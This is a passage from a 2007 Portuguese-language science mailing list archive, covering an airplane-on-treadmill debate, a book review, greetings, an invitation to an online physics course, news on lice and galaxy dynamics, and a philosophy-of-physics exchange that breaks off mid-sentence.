>>> MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a
>>> mala
>>> fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
>>> esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o
>>> atrito
>>> dos rolamentos. Quanto menos atrito nos rolamentos, menos esforço.
>>>
>>> Agora, o golpe final: SE os rolamentos da roda da mala tivessem ATRITO
>>> ZERO,
>>> o que é uma impossibilidade prática, mas uma -ossibilidade teórica, a
>>> mala
>>> NÃO SE MOVERIA MESMO QUE NÃO COLOCASSE A MÃO NELA!
>>>
>>> Consegue entender isso, Renato? Se os rolamentos das rodas, da mala ou
>>> do
>>> avião, tivessem atrito zero, a mala NÃO se movenria, não importa o que
>>> acontece com a esteira. Ela poderia rolar para a direita, esquerda,
>>> parar,
>>> começar de novo, acelerar, desacelerar, e a mala NÃO SE MOVERIA.
>>>
>>> Assim, a esteira NÃO LEVA O AVIÃO PARA TRAS, pois a força que a esteira
>>> pode
>>> aplciar no avião é apenas a permitida pelo, mínimo, atrito dos
>>> rolamentos
>>> das rodas. Atrito que pode ser vencido por uma parcela INFIMA da força
>>> das
>>> turbinas.
>>>
>>> Homero
>>>
>>>
>>>
>>>
>>> ----- Original Message -----
>>> From: José Renato
>>> To: ciencialist@yahoogrupos.com.br
>>> Sent: Sunday, March 04, 2007 12:10 AM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>>
>>> Ricardo:
>>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>> hélices,
>>> ao
>>> empurrar o ar para trás, empurra o avião para frente, independente
>>> deste
>>> ter
>>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>>> cima. ]
>>> ..........................
>>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
>>> velocidade!
>>> Isso significa que o mesmo está praticamente parado em relação ao solo
>>> e
>>> ao
>>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>>> hélices
>>> ou turbinas. Difícil, não?
>>> []s
>>> JR
>>> ..........................
>>>
>>> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
>>> Sent: Tuesday, February 27, 2007 11:25 PM
>>> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
>>> em
>>> esteira
>>>
>>> > From: "José Renato" <jrma@terra.com.br>
>>> >> Homero:
>>> >> [ Se ligar as hélices, ele se move, independente de uma esteira ou
>>> das
>>> >> rodas. ]
>>> >> .............................................
>>> >> Sim, se as hélices tiverem a condição de criar um fluxo de ar nas
>>> asas
>>> >> capaz
>>> >> de sustentá-lo. Na proposta original parece-me que o avião possui
>>> >> turbinas.
>>> >> Nesse caso não há fluxo de ar nas asas, só nas turbinas.
>>> >
>>> > José, imagino que vc tenha se enganado, neste caso. A turbina ou
>>> hélices,
>>> > ao
>>> > empurrar o ar para trás, empurra o avião para frente, independente
>>> deste
>>> > ter
>>> > ou não asas. O avião se move para frente ao ligar a turbina, não para
>>> > cima.
>>> >
>>> > Um abraço,
>>> >
>>> > Ricardo
>
>
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SUBJECT: Sombras do Iluminismo - Manuel Bulcão Neto
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 00:13

Manuel, gostei de ler o seu segundo livro Sombras do Iluminismo e j� comecei a ler sua primeira cria liter�ria Esquisitices do �bvio, reunindo seus v�rios escritos com reflex�es realizadas nos �ltimos dez anos. � instigante e me surpreendeu positivamente pelo trabalho de arrumar de maneira f�cil os diversos assuntos que a Ci�ncia e o Conhecimento revelou ao mundo principalmente nos s�c. XIX e XX. Gostei tamb�m de conhecer melhor suas opini�es sobre nossa realidade e a busca permanente de obter um entendimento razo�vel sobre a exist�ncia. As Notas bibliogr�fica e de esclarecimentos, organizadas nas �ltimas p�ginas, s�o um prazer � parte.

Fortalecida e apoiada pelo crescente movimento anticlerical existente no per�odo, a Ci�ncia - por muitas raz�es - tornou-se anti-religiosa a partir dessa �poca e, mais do que isso, uma op��o excepcional para tirar os poderes que o clero mantinha na estrutura pol�tica, social, econ�mica e educacional, sobre a maioria dos pa�ses da Europa e do Novo Mundo. Esse antagonismo permanece at� hoje na cultura acad�mica onde � inadmiss�vel um cientista ou homem de ci�ncia, professar uma cren�a, doutrina ou valores �ticos de uma religi�o.

Passada a euforia da liberta��o do jugo clerical, ca�mos na real e vimos que, apesar de todo o inimagin�vel desenvolvimento tecnol�gico e cient�fico ocorrido nesses �ltimos s�culos, continuamos sofrendo os mesmo problemas de mis�ria, fome, ego�smo, corrup��o, guerra, doen�as, mentira, exclus�o, falsidade, crueldade, engodo, viol�ncia... E o pior, muitas vezes aprimorados e apoiados no chamado cientificismo, uma nova religi�o onde os compromissos com a vida humana e com os ecossistemas s�o flex�veis, relativizados e o capital dita as regras, sutilmente maquiadas pelos meios de comunica��o de modo a n�o esclarecer, nem acordar a opini�o p�blica.

Valeu a pena ler o seu livro, Bulc�o, e tomar conhecimento de suas leituras e pesquisas sobre o rumo da Ci�ncia no mundo dominado pelos conglomerados. Apenas uma opini�o ou entendimento seu me pareceu exagerado: a de que as pessoas, ao se desencantarem com as promessas de um maravilhoso mundo novo que as descobertas cient�ficas induziu, tender�o voltar ao embotamento das crendices at�vicas e ao fundamentalismos religiosos.
Na minha vis�o as coisas continuar�o praticamente do mesmo jeito, com a maioria das pessoas buscando um para�so light-zen, tipo Nova Era, sem maiores compromissos com valores �ticos, que ser�o adaptados ao gosto e � comodidade do novo crente, dentro do marketing do consumo acelerado pelo desperd�cio propagandeado, pelo sucateamento acelerado dos bens de consumo e pela depend�ncia psicol�gica e cultural mantida de todas as formas pelos donos da grana. Os profetas de seu tempo continuar�o a denunciar as aberra��es e mazelas dos poderosos e, como sempre ocorreu, sofrer�o as conseq��ncias por isso.

Entre as in�meras cita��es, trechos e express�es que sublinhei no livro, transcrevo duas da p�gina 168, t�pico 4. O racionalismos como escolha moral, do cap III - O pante�o da superf�cie, que me parecem significativas ao nosso momento:

[ Embora a Ci�ncia n�o nos possa fornecer, atrav�s do seu m�todo, um sistema �tico inequ�voco e verdadeiro, n�o se pode, todavia, produzir conhecimento cient�fico se n�o se parte de um determinado princ�pio �tico. Segundo Jacques Monod, "o conhecimento verdadeiro ignora os valores. Para fund�-lo, por�m, � preciso um ju�zo ou, antes, um axioma de valor". Qual � esse "valor primitivo que funda o conhecimento"? Para Monod, trata-se do compromisso com a objetividade, ou, nas palavras de I. Prigogine, "respeito � natureza": a no��o de que, se quisermos transformar a realidade de modo a faz�-la atender �s nossas necessidade, devemos obedecer �s suas leis que s�o independentes dos nossos desejos e vontade (i.e., "objetivas"). [ ... ] Como salientou C. L�vi-Straus, "um humanismo adequadamente ordenado n�o pode come�ar espontaneamente, mas deve colocar o mundo antes da vida, a vida antes do homem e o respeito pelos outros antes do ego�smo". (Mythologiques III: L'�rigine des Mani�res de Tabel; 1968).]

Parab�ns, pelo belo trabalho que movimenta e renova as id�ias estabelecidos como "verdades cient�ficas" que n�o deveriam ser mais discutidas.

Abra�os

Jos� Renato





[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Dia internacional da mulher
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 00:44

Parabéns a todas as mulheres da lista.

[]s,

Roberto Takata



SUBJECT: Re: Convite às cobaias
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 01:36

Oi Léo,

Pode ter quantas intenções quiser. Seus "palpites" também serão
"apropriados" por mim. :)

Quando escrevi uma coleção de ensino médio (que só é comercializada na
rede particular) eu tentei fugir do texto usual "de cursinho" e
herdado dos velhos manuais dos anos 60, 70 e 80. Acho que consegui,
mas não pude fazer o mesmo com as atividades, exercícios, etc, porque
o público da rede privada visa diretamente o vestibular.

Agora estou diante de um público que não tem como meta as
universidades públicas e seus vestibulares concorridos e onde tenho a
liberdade de "definir" as prioridades. Não sei se vai dar certo, mas a
intenção é produzir algo que sirva para "aprender alguma Física".

O curso não será um curso "completo", pois meus alunos têm aulas
presenciais onde têm atividades no laboratório, na sala de informática
e no pátio da escola, além de "longas conversas" sobre os textos, os
exercícios e mais uma parafernalha de ferramentas de que eles
necessitam. Enfim, sou um professor esquisito. :)

Mas, se a idéia vingar, pretendo aperfeiçoar o curso, incluir mais
conteúdos (dos segundos e terceiros anos) e depois "vender a idéia"
para quem interessar possa (mantendo o curso gratuito para o usuário
final).

Aguardo ansioso suas preciosas observações. Mas vê se pega leve, pois
tenho alunos que mal sabem ler e a primeira dificuldade deles é
entender as palavras que eu falo (quem dirá as que eu escrevo...).
Coisas da vida no mundo real...

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC, (e, como sempre, et al)
>
> vou entrar lá e dedicar 'um tempinho' para isso. Mas, devo avisá-lo,
faço-o com 'primeiras e segundas intenções'. A 'primeira' é aprender
(nunca poderia descartar isso!); a 'segunda' é que estou (já faz bom
tempo) preparando um livro didático de Física com o título "A Física
Fora do Vestibular" (ou algo equivalente).
> A abordagem nem de longe pensa em termos de vestibular, é
conceituação pura acompanhando experimentos simples e questões abertas
(não haverá um só teste de fazer cruzinhas nesse livro). Em suma,
tentarei dar uma melhorada (atualizada) na Física que aprendi em meu
"Curso Científico" --- hoje seria, se mantivesse a postura e nível, o
Ensino Médio ---. Um dia terei o meu "Mãe Benta" da Física.... espero!
>
> aquele abraço,
>
> e, bom sucesso!
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Carlos Antonio" <profjc2003@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 7 de março de 2007 02:33
> Assunto: [ciencialist] Convite às cobaias
>
>
> Queridos cobaias, digo, amigos,
>
> Estou experimentando fazer um curso virtual como parte do meu curso de
> Física "normal" (presencial) para os alunos do primeiro ano do Ensino
> Médio de uma escola pública. Preciso de cobaias, digo, "alunos" para
> me oferecerem opiniões "maduras" que eu possa contrapor às possíveis
> opiniões dos alunos.
>
> O curso está iniciando agora e, "hipoteticamente", irá até o final
do ano.
>
> Para acessá-lo e se inscrever nele, acesse o endereço
> http://www.profjc.net/moodle
>
> Para não criar muita confusão "no ambiente dos alunos", solicito a
> gentileza de me enviarem observações, sugestões e críticas em PVT, no
> meu e-mail profjc@... ou pelo e-mail de contato do curso.
>
> O público-alvo do curso são alunos da rede pública e o objetivo do
> curso é oferecer referências textuais mais ricas. O curso não está
> voltado à uma preparação para "vestibulares", não segue a programação
> "costumeira" dos livros didáticos e nem pretende esgotar os conteúdos
> dos tópicos abordados (mesmo porque ele é um curso "paralelo" ao curso
> presencial normal).
>
> Agradeço a colaboração de quem tiver um tempinho para participar dele.
> Obviamente o curso é "de grátis".
>
> Abraços,
> Prof. JC
>
>
>
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> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.7/710 - Release Date:
04/03/2007 13:58
>




SUBJECT: Re: Convite às cobaias
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 01:40

Obrigado Aline,

Aviso desde já que o curso será disponibilizado vagarosamente e
corresponde a uma carga horária de 100 minutos semanais (é um curso
real de 80 horas - presencial). Os textos estão sendo produzidos com
antecedência de duas ou três semanas e serão revisados conforme as
sugestões que eu for recebendo (acaba sendo um curso "vivo").

Agradeço imensamente sua disposição em ajudar-me.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Aline Santos
<haline_santos@...> escreveu
>
> Prof. JC,
> pode contar comigo!!! A separei um tempinho na minha agenda rsrsrs
> Concerteza vai ser muito útil relembrar estes conceitos!!!!
> e Parabéns pela iniciativa!
>
> Abraços
>
> Aline
>
> Luiz Ferraz Netto <leobarretos@...> escreveu:
> Olá JC, (e, como sempre, et al)
>
> vou entrar lá e dedicar 'um tempinho' para isso. Mas, devo avisá-lo,
faço-o com 'primeiras e segundas intenções'. A 'primeira' é aprender
(nunca poderia descartar isso!); a 'segunda' é que estou (já faz bom
tempo) preparando um livro didático de Física com o título "A Física
Fora do Vestibular" (ou algo equivalente).
> A abordagem nem de longe pensa em termos de vestibular, é
conceituação pura acompanhando experimentos simples e questões abertas
(não haverá um só teste de fazer cruzinhas nesse livro). Em suma,
tentarei dar uma melhorada (atualizada) na Física que aprendi em meu
"Curso Científico" --- hoje seria, se mantivesse a postura e nível, o
Ensino Médio ---. Um dia terei o meu "Mãe Benta" da Física.... espero!
>
> aquele abraço,
>
> e, bom sucesso!
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> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: "José Carlos Antonio"
>
> Para:
> Enviada em: quarta-feira, 7 de março de 2007 02:33
> Assunto: [ciencialist] Convite às cobaias
>
>
> Queridos cobaias, digo, amigos,
>
> Estou experimentando fazer um curso virtual como parte do meu curso de
> Física "normal" (presencial) para os alunos do primeiro ano do Ensino
> Médio de uma escola pública. Preciso de cobaias, digo, "alunos" para
> me oferecerem opiniões "maduras" que eu possa contrapor às possíveis
> opiniões dos alunos.
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> O curso está iniciando agora e, "hipoteticamente", irá até o final
do ano.
>
> Para acessá-lo e se inscrever nele, acesse o endereço
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> O público-alvo do curso são alunos da rede pública e o objetivo do
> curso é oferecer referências textuais mais ricas. O curso não está
> voltado à uma preparação para "vestibulares", não segue a programação
> "costumeira" dos livros didáticos e nem pretende esgotar os conteúdos
> dos tópicos abordados (mesmo porque ele é um curso "paralelo" ao curso
> presencial normal).
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> Agradeço a colaboração de quem tiver um tempinho para participar dele.
> Obviamente o curso é "de grátis".
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> Abraços,
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> Version: 7.5.446 / Virus Database: 268.18.7/710 - Release Date:
04/03/2007 13:58
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SUBJECT: Mulheres
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 01:47

Parabéns, mulheres da lista!

Se não fosse por vocês eu jamais teria me metido à estudar Física. :)

Beijos para todas,
Prof. JC




SUBJECT: [RN] PIOLHOS AJUDAM A RECONSTRUIR EVOLUCAO HUMANA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 02:51

NYTIMES, 08-03-2007

IN LICE, CLUES TO HUMAN ORIGIN AND ATTIRE

Nicolas Wade

Three kinds of louse call Homo sapiens their home, but each occupies a
different niche on the human body. The head louse, Pediculus humanus,
lives in the forest of fine hairs on the scalp. Its cousin, the body
louse, lives not on the skin but in clothes. And the exclusive
territory of the pubic louse, Phthirus pubis, is the coarser hairs of
the crotch.

Lice are intimately adapted to their hosts and cannot long survive
away from the body's blood and warmth. If their host evolves into two
species, the lice will do likewise. So biologists have long been
puzzled over the fact that the human head louse is a sister species to
the chimpanzee louse, but the pubic louse is closely related to the
gorilla louse.

By comparing louse DNA, a team led by David L. Reed of the University
of Florida has now reconstructed how this strange situation probably
came about.

The number of DNA differences between the gorilla louse and the pubic
louse indicates that they diverged some 3.3 million years ago, Dr.
Reed and colleagues report in today's issue of the journal Biomed
Central Biology. Among people, the pubic louse is usually spread by
sexual contact, but the gorilla louse could have been contracted in
some other way.

'We'll never know if it was sex or something more tame,' Dr. Reed
said. What can be said about the transfer, he believes, is that it
signals human ancestors had already lost their body hair by 3.3
million years ago, confining the human louse to the head and leaving
the groin open to invasion by the gorilla louse.

If people first became nudists 3.3 million years ago, when did they
start to wear clothes? Surprisingly, lice once again furnish the
answer. Though humans may long have worn loose garments like animal
skin cloaks, the first tailored clothing would have been close-fitting
enough to tempt the head louse to expand its territory. It evolved a
new variety, the body louse, with claws adapted for clinging to
fabric, not hairs.

In 2003, Mark Stoneking, a geneticist at the Max Planck Institute in
Leipzig, Germany, estimated from DNA differences that the body louse
evolved from the head louse about 107,000 years ago. The first sewn
clothes were presumably made shortly before this time.

If people first became nudists 3.3 million years ago, when did they
start to wear clothes? Surprisingly, lice once again furnish the
answer. Though humans may long have worn loose garments like animal
skin cloaks, the first tailored clothing would have been close-fitting
enough to tempt the head louse to expand its territory. It evolved a
new variety, the body louse, with claws adapted for clinging to
fabric, not hairs. (e)

http://www.nytimes.com/2007/03/08/science/08louse.html
-----------------------------

[]s,

Roberto Takata



SUBJECT: Notícias científicas
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/03/2007 07:07

Lista,

O TecnoCientista está cada vez melhor. Cada vez mais novidades. A seguir, o link para a edição atual, bem como a notícia que colo a seguir, que vocês podem ler lá, também.

Sds,
Victor.


http://tecnocientista.info/noticia_detalhe.asp?cod=4798&i=1#teste

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Estadão
O Universo contém os mais diversos tipos de galáxias, das belas espirais, como a Via-Láctea, às apelidadas de "desastres de trem", restos caóticos de colisões em escala cósmica. A despeito dessa variedade, astrônomos acabam de determinar uma lei matemática precisa, capaz de descrevê-las todas.

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Segundo novos resultados obtidos a partir ad obse
rvação de galáxias distantes, a relação entre a massa de uma galáxia e a velocidade orbital das estrelas e do gás que contém é altamente constante - ou ao menos tem sido, ao longo dos últimos 8 bilhões de anos, cerca de metade da idade do Universo.

"Acreditamos que esta tendência reflete uma regularidade no processo que levou à formação das galáxias. Não temos certeza da onde isso vem, mas é uma restrição importante na formação de galáxias", disse Sandra Faber, da Universidade da Califórnia.

Em termos simples, quando maior a galáxia, mas depressa seu conteúdo se move. A relação foi determinada a partir da análise de dados sobre 544 galáxias, com diversos formatos.

A descoberta estende a aplicação da relação de Tully-Fisher, estabelecida para galáxias próximas da Via-Láctea há 30 anos, diz a principal autora do artigo que descreve a descoberta, Susan Kassin, também da Universidade da Califórnia. A relação de Tully-Fischer correlaciona a luminosidade de uma galáxia espiral a sua velocidade de rotação: quanto mais brilhante, mas rápida. Refinamentos recentes da lei substituíram luminosidade por massa. O trabalho encabeçado por Kassin estende a relação ao passado, mostrando que ela se mantém a mesma mesmo ao longo da evolução do Universo.

O trabalho será publicado numa edição especial do Astrophysical Journal Letters, dedicada exclusivamente a resultados do projeto Aegis, que busca gerar leituras em profundidade de uma área limitada do céu. Kassin se valeu, principalmente, de imagens do Telescópio Espacial Hubble e do Observatório W.M Keck, no Havaí.

"Estamos a caminho de descobrir como as galáxias evoluíram por mais da metade da idade do Universo", disse Faber. "O trabalho não acabou, mas os contornos da teoria estão aparecendo"

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Poisson1
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/03/2007 07:36

----- Original Message -----
From: "Victor"
Sent: Sunday, February 25, 2007 9:30 PM
Subject: Re: [ciencialist] Re: Poisson1

Victor(25.02.07): Não é minha intenção discutir aquí se entendí ou
não filosofia. Nem cabe, nesse contexto.

Alberto: Entrei no assunto ao notar o seu desprezo pela filosofia e,
em especial, pela filosofia da ciência. Em suas palavras "a filosofia
só atrapalha". Vide:
http://br.groups.yahoo.com/group/ciencialist/message/59882

Victor: O que digo é que, em outras palavras, em física, o que
interessa é o pé no chão, ...

Alberto: Pensar no que interessa, em física, não deixa de ser uma
postura filosófica, quer você queira, quer não. Vejamos então qual é
a sua filosofia a respeito do assunto.

Victor: ... aquilo que se pode medir com réguas e relógios, ou se a
teoria conduz a resultados objetivos, se é capaz de produzir
tecnologia; se as as equações matemáticas que dão suporte a uma
teoria produzem resultados de acordo com a experimentação e conseguem
fazer previsões. [...]

Alberto: Parece que você está assumindo a física como algo pronto e
acabado. Esse tipo de postura pode ser adotado com ressalvas (e até
mesmo defendido) pelos tecnólogos, engenheiros e outros agentes
da "segunda etapa do sistema", mas jamais por um cientista, aquele
que trabalha na "primeira etapa do sistema". Até mesmo o
comportamento dos seus ídolos (por ex., Einstein) contraria essa sua
maneira de estigmatizar o que interessaria em física. Sem dúvida, os
pontos positivos, no que diz respeito à mensuração, são extremamente
importantes quando assumimos o papel de defensor de uma teoria, mas
não podemos nunca deixar de lado o ditado a dizer que a ciência só
evolui a partir da busca incessante pela falseabilidade daquilo em
que acreditamos ou não (até mesmo Thomas Kuhn, um opositor de Popper,
chega a afirmar isso). Aliás, costumo dizer que o cientista é aquele
que duvida para acreditar (essa postura não deve ser levada para o
terreno da teologia, mas restringe-se a atitudes científicas, mesmo
porque não há como falsear dogmas teológicos). Lembro, que Einstein
foi um dos maiores críticos de suas próprias teorias, ainda que essa
não seja uma tarefa das mais fáceis (ou seja, criticar nossas
próprias idéias). Existem muitos "cientistas" defensores das idéias
de Einstein que assumem dogmatismos (no sentido teológico do termo)
que Einstein jamais assumiu e/ou assumiria, pois esta é uma atitude
que não combina com ciência.

Victor: [...] Interessa-me, em particular, o bate-pronto entre dados
experimentais que a teoria diz que vai obter. Filosofia não faz
isso. Filosofia é coisa bonita e bem arrumada, de gente muito
inteligente e muito culta, mas não é capaz de produzir nada prático.
[...]

Alberto: Volto a dizer que você ainda não entendeu o papel da
filosofia e, em especial, da "filosofia da ciência". Todos os grandes
teorizadores da ciência foram, sob certos aspectos, "filósofos da
ciência". A ciência somente evolui através da alternância entre
teoria (novas idéias) e prática (mensurações e, em especial,
falseamentos) e não há como fazer ciência sem teorizar. Você está
defendendo uma teoria e atacando a filosofia, e não está se dando
conta que as teorias em que você acredita foram colocadas em pé por
homens que chamamos cientistas teorizadores. Sob certos aspectos
podemos dizer que eles foram "filósofos da ciência" (por ex.,
Descartes, Galileu, Newton, Maxwell, Einstein e tantos outros). Não é
por acaso que a grande obra de Newton chama-se Princípios Matemáticos
da Filosofia Natural e há quem diga que ele deu esse nome
para "brincar" com os cartesianos da época. Exclua a importância
da "filosofia da ciência" e você acabará retornando à idade da
pedra, quiçá projetando martelos para quebrar cocos. Obviamente e como
engenheiro, trabalhando na "segunda etapa do sistema", você poderá se
dar ao luxo de não estudar nem praticar esse tipo de filosofia (em
muitos casos até mesmo o cientista pode se dar ao luxo de não
filosofar), mas não poderá impedir que outros o façam, sob pena de
paralisar os avanços científicos (primeira etapa do sistema) e, em
decorrência, os avanços tecnológicos.

Victor: [...] Quando muito, por causa do manuseio competente que faz
com as palavras, pode expressar de maneira adequada as coisas de que
trata. Estou desenvolvendo um projeto para uma placa de captura de
imagens, que tenha algumas características específicas, para um dado
uso. E que seja, ao mesmo tempo, barata e atenda especificações
requeridas. Se eu não investir no aprimoramento de meus
conhecimentos de eletrônica, se eu não souber a matemática adequada
para dar conformidade ao projeto, tenha certeza de uma coisa: não há
filosofia no mundo que consiga!. É nesse sentido que me pronuncio.

Alberto: Sim, mas perceba que você está assumindo a ciência como uma
obra pronta e acabada. Nem tudo está neste nível em ciência, e até
mesmo as teorias em que você acredita não estão absolutamente livres
de críticas. Para atingir um objetivo tecnológico você deve se apoiar
em dados em que acredita, mas isso não significa que sejam
verdadeiros. Nem mesmo quando o equipamento de seu projeto chega a
funcionar. Se o equipamento funcionar, você estará colaborando para a
corroboração da teoria, mas isso não tem o mesmo significado de
tornar a teoria mais verdadeira. Por outro lado, um único
falseamento, desde que replicado, poderá colocar a teoria em maus
lençóis (ainda que nem sempre sirva para que se descarte a teoria).

Victor: Você finaliza o comentário dizendo: "....Isto equivale a se
considerar a totalidade da física como se referindo a operações,
principalmente medições e cálculos, e não à natureza, o que implica
um retorno ao antropocentrismo prevalecente antes do nascimento da
ciência."

Alberto: Essa é uma citação de Mario Bunge, um físico e estudioso (e
professor) de filosofia da ciência. Eu não cheguei a interpretar a
citação à minha maneira, apenas a coloquei para reflexão, pois acho-a
bastante interessante e, sob muitos aspectos, aceitável. Lembro-me de
ter citado Mario Bunge como o autor da sentença.

Victor: Mas o que digo, e acho que não dou a entender outra coisa, é
que a física não prescinde da matemática, que é sua linguagem
natural, da experimentação. Uma vez que se expressam fatos
observacionais em termos de postulados, é necessário que isto
descreva tais fatos, postos na linguagem matemática. Não concebo que
possa ser diferente.

Alberto: Ninguém disse que a física prescinde da matemática. Veja, não
obstante, que ao formular e/ou aceitar um postulado estamos nos
firmando numa postura filosófica (filosofia da ciência) e é só a
partir daí que a matemática entra em cena. Voltando então à frase de
Bunge, não se pode "considerar a totalidade da física como se
referindo a operações, principalmente medições e cálculos, e não à
natureza". Firmamos os postulados ao observar a natureza, e não como
algo concebido por uma mentalidade cega à realidade factual (o que
eventualmente pode ser feito por um matemático "puro"). Conceber a
realidade a nosso bel prazer, desprezando a realidade
factual, "implica num retorno ao antropocentrismo prevalescente antes
do nascimento da ciência", e Galileu que o diga pois essa era a
atitude adotada por seus opositores acadêmicos.

Victor [...] A física e a matemática andam juntas, numa simbiose
física-matemática. Não há como separar. [...]

Alberto: Isso não vai contra a frase citada. Se você aceita que
física é mais do que matemática "pura", sob esse aspecto você não
está indo contra o pensamento de Mario Bunge. Talvez , com sua visão
tecnológica, você não tenha se dado conta que "o procedimento
científico implica em interrogarmos o real duas vezes: na entrada e
na saída do processo". Está frase é de Omnès, um "filósofo da
ciência, --está citada no meu artigo "O Método Científico", item 4.5,
em
http://ecientificocultural.com/ECC2/FilCien/metcien02.htm#abrangencia
Um postulado é firmado na "entrada do processo" (teorização) e quase
sempre decorrente de uma experiência já conhecida e consagrada, ainda
que não tenha sido devidamente explicada (e esse é um dos objetivos
da teorização); já a corroboração ou o falseamento (prática
experimental), é observada na "saída do processo". Entre uma e outra
a matemática desempenha muito bem o seu papel, mas não pode, em
hipótese alguma, deixar de lado qualquer dessas duas etapas que são
eminentemente físicas e livres da matemática a não ser como um
instrumento auxiliar e, na maioria das vezes, secundário.

Victor [...] O próprio Newton anteviu essa necessidade, essa
inseparabilidade. Tanto é que desenvolveu o aparato adequado, se quis
avançar em suas idéias, se quis dar densidade às suas teses. Assim, o
fato de se considerar a totalidade da física atrelada a operações,
como deve ser, não implica, de maneira alguma, em meu modo de
ver, "num retorno ao antropocentrismo prevalecente antes do
nascimento da ciência". Acho mesmo que nada tem a ver uma coisa com
outra. A correspondência biunívoca, a que me refiro, é necessária e
imperiosa, como já disse.

Alberto: Uma coisa é "atrelar" a física a operações. Outra coisa
é "considerar a totalidade da física como se referindo a operações".
Se você não entende essa distinção, sinto muito mas não tenho mais
nada a dizer a esse respeito.

Victor: [...] Quanto a Newton haver considerado que uma propagação
instantânea seria um absurdo, isto soa é meio esquesito, pois o fato
é a proposição é uma consequência de sua teoria.

Alberto: É nesse sentido que eu digo haver uma *física* newtoniana
propriamente dita e um *modelo* newtoniano de três leis e que
funciona em determinadas condições sem implicar em verdades
científicas inerentes a esse modelo (que funciona em condições
específicas). Como você não aceita essa dualidade (que constatei
existir lendo Newton) fica difícil rebater suas idéias. Realmente
você está assumindo como "verdade newtoniana" algo que Newton assumiu
como uma constatação que funciona em condições restritas (o modelo
das três leis). É em virtude disso, que estou admitindo como um erro
de interpretação, que você está assumindo a postura de Newton como
esquisita. De fato, são duas "verdades" incompatíveis, somente que
Newton não assumiu o modelo de três leis como uma dessas verdades (no
sentido absoluto do termo), logo não há esquisitice nenhuma.

Victor: [...] Ao considerar o tempo imutável e sem relação com o
espaço, sendo este absoluto (que tentou justificar, sem convencer,
com aquela experiência do balde), ele, ou sua teoria automaticamente,
decretou, embora não admitisse, a instantaneidade das causas e de
seus efeitos. Como ele próprio achar um absurdo. Dizer disse, mas que
estranho isso lá é. Ou estou errado?

Alberto: Não é fácil falar em espaço ou tempo absolutos em poucas
palavras, mas eu já disse que o que penso a respeito pode ser lido em
http://ecientificocultural.com/ECC2/artigos/movab00.htm . Com
respeito a experiência do balde eu diria que embora a explicação
newtoniana possa ser considerada não convincente, nenhuma outra
explicação posterior a Newton (incluindo a de Mach) chegou a elucidar
esse problema de maneira definitiva. Aliás, chego a propor, no artigo
citado, algumas idéias de como interpreto fenomenologicamente essa
experiência de pensamento.

Victor: [...] Poisson elaborou uma teoria da gravitação inteiramente
baseada nessas premissas, com resultados que incomodaram muitos
cientistas pré-relativísticos. Mas essa equação básica padece de dois
defeitos: 1)um, que já discutimos aquí, sendo esta thread uma
continuação, que enfocava precisamente o fato: propagação
instantânea, embutida naquela equação básica: e, [...]

Alberto: De fato, e como já tentei demonstrar, isso está frontalmente
contra a *física* newtoniana, ainda que se acomode ao seu modelo
restritivo de três leis. Essa física não é newtoniana nem aqui nem na
China e isso chegou a ser denunciado por Maxwell no século XIX,
quando teceu comentários sobre o que chamou de o dogma de Côtes
(Côtes foi o prefaciador de uma das edições dos Principia de Newton e
cometeu o mesmo erro infantil que hoje é assumido como verdade pela
grande maioria dos físicos modernos que leram o prefácio mas não
leram a obra que se segue a esse prefácio, ou então, se leram, não a
entenderam, provavelmente por terem valorizado excessivamente o dogma
de Côtes e desvalorizado inúmeras passagens escritas de próprio punho
por Newton).

Victor: [...] 2) e outro, que não discutimos, que também incomodou a
tropoa do passado, mas que ninguém, exceto Einstein, conseguiu
resolver. Esta outra incompatibilidade é a seguinte: Na eq. de
Poisson, Lap V(x,y,z) = Vxx+Vyy+Vzz= 4piG(rhô), (essa notação vocês
já conhecem), surge a simplesinha questão: E se V(x,y,z) for
constante, como sair do prejuizo? É evidente que o lado esquerdo vai
a zero. Mas o lado direito, não!

Alberto: Pois eu diria que essa equação, de sua observação (2),
decorre do erro apontado em (1). Do contrário o lado direito não
poderia nunca ser aquele que você descreve. Resolva aquele
probleminha que apontei, sem apelar para a propagação instantânea, e
perceba que o potencial teria que ser bem mais complexo do que você
(e/ou Poisson) está assumindo. Você não pode formular um potencial
sem conhecer o campo correspondente. Afinal, como você define
potencial? Não seria através de forças *conservativas* de campo? Mas
